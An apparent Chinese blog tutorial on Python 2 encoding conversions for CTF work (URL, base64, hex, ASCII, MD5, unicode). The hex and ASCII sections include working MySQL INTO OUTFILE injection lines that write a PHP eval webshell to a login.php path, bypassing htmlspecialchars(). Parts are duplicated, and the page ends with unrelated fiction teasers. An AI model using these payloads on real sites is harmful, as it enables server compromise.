使用python編寫ctf日常編碼轉(zhuǎn)換

當(dāng)然也有很多的在線編碼與解碼的網(wǎng)址,但是俗話說的好:”人生苦短,我用python“

-< 不說了平酿,開寫:

<h6>URL編碼與解碼</h6>
url編碼

from urllib import *
quote("union select null,null,null from null")
'union%20select%20null%2Cnull%2Cnull%20from%20null'

url解碼

unquote("union%20select%20null%2Cnull%2Cnull%20from%20null")
'union select null,null,null from null'

url鍵值對key-value編碼

data={
... 'a':'testing',
... 'name':'侯亮平'
... }
urlencode(data)
'a=testing&name=%E4%BE%AF%E4%BA%AE%E5%B9%B3'

</br>

<h6>base64</h6>

import base64
base64.b64encode("aurora")
'YXVyb3Jh'
base64.b64decode("YXVyb3Jh")
'aurora'

base64.b32encode("aurora")
'MF2XE33SME======'
base64.b32decode("MF2XE33SME======")
'aurora'

</br>


<h6>Hex</h6>
MySQL注入可以使用hex繞過htmlspecialchars()函數(shù)從而寫入webshell塞椎。
select 3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e into outfile '/web66/login.php'

hexEncode

'<?php @eval($_POST["test"]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e'

hexDecode

print "3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e".decode('hex')
<?php @eval($_POST["test"]); ?>

</br>
<h6>Ascii</h6>
MySQL中的char()函數(shù)則是轉(zhuǎn)換ascii碼的,正因如此开皿,也可以使用這個特性來繞過htmlspecialchars()函數(shù)。

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web88/login.php'

map(ord,"<?php phpinfo()?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]

print chr(112)
p

list=[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]

for index in list:

url鍵值對key-value編碼
>>> data={
... 'a':'testing',
... 'name':'侯亮平'
... }
>>> urlencode(data)
'a=testing&name=%E4%BE%AF%E4%BA%AE%E5%B9%B3'
>>>
</br>

<h6>base64</h6>
>>> import base64
>>> base64.b64encode("aurora")
'YXVyb3Jh'
>>> base64.b64decode("YXVyb3Jh")
'aurora'
>>>

>>> base64.b32encode("aurora")
'MF2XE33SME======'
>>> base64.b32decode("MF2XE33SME======")
'aurora'
>>>
</br>
___


<h6>Hex</h6>
MySQL注入可以使用hex繞過htmlspecialchars()函數(shù)從而寫入webshell篮昧。
select 3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e into outfile '/web66/login.php'

hexEncode
>>> '<?php @eval($_POST["test"]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e'
>>>
hexDecode
>>> print "3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e".decode('hex')
<?php @eval($_POST["test"]); ?>
>>>
</br>
<h6>Ascii</h6>
MySQL中的char()函數(shù)則是轉(zhuǎn)換ascii碼的赋荆,正因如此,也可以使用這個特性來繞過htmlspecialchars()函數(shù)懊昨。

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web88/login.php'

>>> map(ord,"<?php phpinfo()?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]
>>>
>>> print chr(112)
p
>>>
>>> list=[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]
>>>
>>> for index in list:
... print chr(index),
...
< ? p h p p h p i n f o ( ) ? >


<h6>MD5</h6>
md5在web安全界可以說是人盡皆知了窄潭,以他的不可逆性,大多數(shù)網(wǎng)站存儲用戶密碼等關(guān)鍵數(shù)據(jù)時常常使用md5加密酵颁。有的時候我們提交payload需要md5加密嫉你,這個時候用下面的方法就可以輕松實現(xiàn)。當(dāng)然解密的話推薦去chamd5躏惋。

from hashlib import md5
m=md5()
m.update("secret md5")
m.hexdigest()
'a437fd3a567efa56f3f08666e516bd26'

<h6>Unicode轉(zhuǎn)中文</h6>
unicode轉(zhuǎn)換中文幽污,很多情況下都能遇到。尤其是在做滲透測試的時候簿姨。用burp的話會存在中文亂碼的問題距误,在python下實現(xiàn)非常簡單

print u"\u4f60\u9700\u8981\u767b\u9646"
你需要登陸

不得不提的是簸搞,在ctf競賽中還是需要使用python腳本去重新定義編碼的,多多領(lǐng)悟就好.>-<

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末准潭,一起剝皮案震驚了整個濱河市趁俊,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌刑然,老刑警劉巖寺擂,帶你破解...
    沈念sama閱讀 222,865評論 6 518
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異泼掠,居然都是意外死亡怔软,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,296評論 3 399
  • 文/潘曉璐 我一進(jìn)店門择镇,熙熙樓的掌柜王于貴愁眉苦臉地迎上來爽雄,“玉大人,你說我怎么就攤上這事沐鼠。” “怎么了叹谁?”我有些...
    開封第一講書人閱讀 169,631評論 0 364
  • 文/不壞的土叔 我叫張陵饲梭,是天一觀的道長。 經(jīng)常有香客問我焰檩,道長憔涉,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 60,199評論 1 300
  • 正文 為了忘掉前任析苫,我火速辦了婚禮兜叨,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘衩侥。我一直安慰自己国旷,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 69,196評論 6 398
  • 文/花漫 我一把揭開白布茫死。 她就那樣靜靜地躺著跪但,像睡著了一般。 火紅的嫁衣襯著肌膚如雪峦萎。 梳的紋絲不亂的頭發(fā)上屡久,一...
    開封第一講書人閱讀 52,793評論 1 314
  • 那天,我揣著相機(jī)與錄音爱榔,去河邊找鬼被环。 笑死,一個胖子當(dāng)著我的面吹牛详幽,可吹牛的內(nèi)容都是我干的筛欢。 我是一名探鬼主播,決...
    沈念sama閱讀 41,221評論 3 423
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼悴能!你這毒婦竟也來了揣钦?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 40,174評論 0 277
  • 序言:老撾萬榮一對情侶失蹤漠酿,失蹤者是張志新(化名)和其女友劉穎冯凹,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體炒嘲,經(jīng)...
    沈念sama閱讀 46,699評論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡宇姚,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,770評論 3 343
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了夫凸。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片浑劳。...
    茶點故事閱讀 40,918評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖夭拌,靈堂內(nèi)的尸體忽然破棺而出魔熏,到底是詐尸還是另有隱情,我是刑警寧澤鸽扁,帶...
    沈念sama閱讀 36,573評論 5 351
  • 正文 年R本政府宣布蒜绽,位于F島的核電站,受9級特大地震影響桶现,放射性物質(zhì)發(fā)生泄漏躲雅。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 42,255評論 3 336
  • 文/蒙蒙 一骡和、第九天 我趴在偏房一處隱蔽的房頂上張望相赁。 院中可真熱鬧,春花似錦慰于、人聲如沸钮科。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,749評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽跺嗽。三九已至,卻和暖如春页藻,著一層夾襖步出監(jiān)牢的瞬間桨嫁,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,862評論 1 274
  • 我被黑心中介騙來泰國打工份帐, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留璃吧,地道東北人。 一個月前我還...
    沈念sama閱讀 49,364評論 3 379
  • 正文 我出身青樓废境,卻偏偏與公主長得像畜挨,于是被迫代替她去往敵國和親筒繁。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,926評論 2 361

推薦閱讀更多精彩內(nèi)容